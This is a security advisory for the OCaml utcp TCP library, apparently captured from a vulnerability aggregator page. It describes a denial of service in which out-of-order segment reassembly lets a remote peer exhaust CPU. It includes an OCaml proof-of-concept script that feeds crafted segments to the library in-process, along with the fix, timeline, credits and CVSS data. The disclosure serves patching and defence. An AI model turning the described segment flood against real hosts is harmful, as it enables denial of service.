osec-2026-11
Vulnerability from osv_ocaml
Published
2026-07-27 19:30
Modified
2026-07-27 19:30
Summary
Out of order segment reassembly allows remote denial of service
Details
A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv_nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.
This has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections.
Solution
Instead of a flat list, a red-black binary tree is used for the reassembly queue.
Reproduction
let () = Mirage_crypto_rng_unix.use_default ()
let server_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.1"))
let client_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.2"))
let now = Mtime.of_uint64_ns 0L
let to_wire seg = Utcp.Segment.encode_and_checksum now ~src:client_ip ~dst:server_ip seg
let seg ~seq ?ack ?flag ?(payload = []) ?(payload_len = 0) () =
{ Utcp.Segment.src_port = 12345; dst_port = 80; seq; ack; flag;
push = false; window = 65535; options = []; payload; payload_len }
let feed st s = Utcp.handle_buf st now ~src:client_ip ~dst:server_ip (to_wire s)
(* establish a connection, then feed [n] out-of-order segments that never fill
the gap at rcv_nxt; return the CPU time spent *)
let cost n =
let st = Utcp.start_listen (Utcp.empty Fun.id "victim") 80 in
let iss = Utcp.Sequence.of_int32 1000l in
let st, _, outs = feed st (seg ~seq:iss ~flag:`Syn ()) in
let server_iss = (match outs with [ (_, _, s) ] -> s.Utcp.Segment.seq | _ -> assert false) in
let st, _, _ = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server_iss) ()) in
let rcv_nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server_iss in
let st = ref st in
let t0 = Sys.time () in
for i = 0 to n - 1 do
let s = seg ~seq:(Utcp.Sequence.addi rcv_nxt ((2 * i) + 2)) ~ack ~payload:[ "X" ] ~payload_len:1 () in
let st', _, _ = feed !st s in
st := st'
done;
Sys.time () -. t0
let () =
let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in
Printf.printf "2000 one-byte out-of-order segments: %.3fs\n" t1;
Printf.printf "4000 one-byte out-of-order segments: %.3fs (%.1fx)\n" t2 (t2 /. t1);
Printf.printf "8000 one-byte out-of-order segments: %.3fs (%.1fx)\n" t3 (t3 /. t2)
Timeline
- June 25th 2026: report to ocaml/security-advisories
- June 29th: acknowledgement of issue with several questions for the reporter
- July 6th: answers from reporter, including a patch
- July 26th: patch developed by library author
- July 27th: release of utcp 0.0.6 and security advisory
Severity
7.5 (High)
Credits
{
"affected": [
{
"ecosystem_specific": {
"opam_constraint": "utcp {\u003c \"0.0.6\"}"
},
"package": {
"ecosystem": "opam",
"name": "utcp",
"purl": "pkg:opam/utcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.6"
}
],
"type": "ECOSYSTEM"
},
{
"events": [
{
"introduced": "0"
},
{
"fixed": "08522428c957d796a6455d5aad434701c879fd4e"
}
],
"repo": "https://git.robur.coop/robur/utcp.git",
"type": "GIT"
}
],
"versions": [
"0.0.1",
"0.0.2",
"0.0.3",
"0.0.4",
"0.0.5"
]
}
],
"credits": [
{
"name": "Thomas Gazagnaire",
"type": "REPORTER"
},
{
"name": "Hannes Mehnert",
"type": "REMEDIATION_DEVELOPER"
},
{
"name": "Romain Calascibetta",
"type": "REMEDIATION_REVIEWER"
}
],
"database_specific": {
"cwe": [
"CWE-400"
],
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-11.md",
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-11.json"
},
"details": "A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv_nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.\n\nThis has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections. \n\n## Solution\n\nInstead of a flat list, a red-black binary tree is used for the reassembly queue.\n\n## Reproduction\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet server_ip = Ipaddr.(V4 (V4.of_string_exn \"10.0.0.1\"))\nlet client_ip = Ipaddr.(V4 (V4.of_string_exn \"10.0.0.2\"))\nlet now = Mtime.of_uint64_ns 0L\nlet to_wire seg = Utcp.Segment.encode_and_checksum now ~src:client_ip ~dst:server_ip seg\n\nlet seg ~seq ?ack ?flag ?(payload = []) ?(payload_len = 0) () =\n { Utcp.Segment.src_port = 12345; dst_port = 80; seq; ack; flag;\n push = false; window = 65535; options = []; payload; payload_len }\n\nlet feed st s = Utcp.handle_buf st now ~src:client_ip ~dst:server_ip (to_wire s)\n\n(* establish a connection, then feed [n] out-of-order segments that never fill\n the gap at rcv_nxt; return the CPU time spent *)\nlet cost n =\n let st = Utcp.start_listen (Utcp.empty Fun.id \"victim\") 80 in\n let iss = Utcp.Sequence.of_int32 1000l in\n let st, _, outs = feed st (seg ~seq:iss ~flag:`Syn ()) in\n let server_iss = (match outs with [ (_, _, s) ] -\u003e s.Utcp.Segment.seq | _ -\u003e assert false) in\n let st, _, _ = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server_iss) ()) in\n let rcv_nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server_iss in\n let st = ref st in\n let t0 = Sys.time () in\n for i = 0 to n - 1 do\n let s = seg ~seq:(Utcp.Sequence.addi rcv_nxt ((2 * i) + 2)) ~ack ~payload:[ \"X\" ] ~payload_len:1 () in\n let st\u0027, _, _ = feed !st s in\n st := st\u0027\n done;\n Sys.time () -. t0\n\nlet () =\n let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in\n Printf.printf \"2000 one-byte out-of-order segments: %.3fs\\n\" t1;\n Printf.printf \"4000 one-byte out-of-order segments: %.3fs (%.1fx)\\n\" t2 (t2 /. t1);\n Printf.printf \"8000 one-byte out-of-order segments: %.3fs (%.1fx)\\n\" t3 (t3 /. t2)\n```\n\n## Timeline\n\n- June 25th 2026: report to ocaml/security-advisories\n- June 29th: acknowledgement of issue with several questions for the reporter\n- July 6th: answers from reporter, including a patch\n- July 26th: patch developed by library author\n- July 27th: release of utcp 0.0.6 and security advisory",
"id": "OSEC-2026-11",
"modified": "2026-07-27T19:30:00Z",
"published": "2026-07-27T19:30:00Z",
"references": [],
"schema_version": "1.7.4",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Out of order segment reassembly allows remote denial of service"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…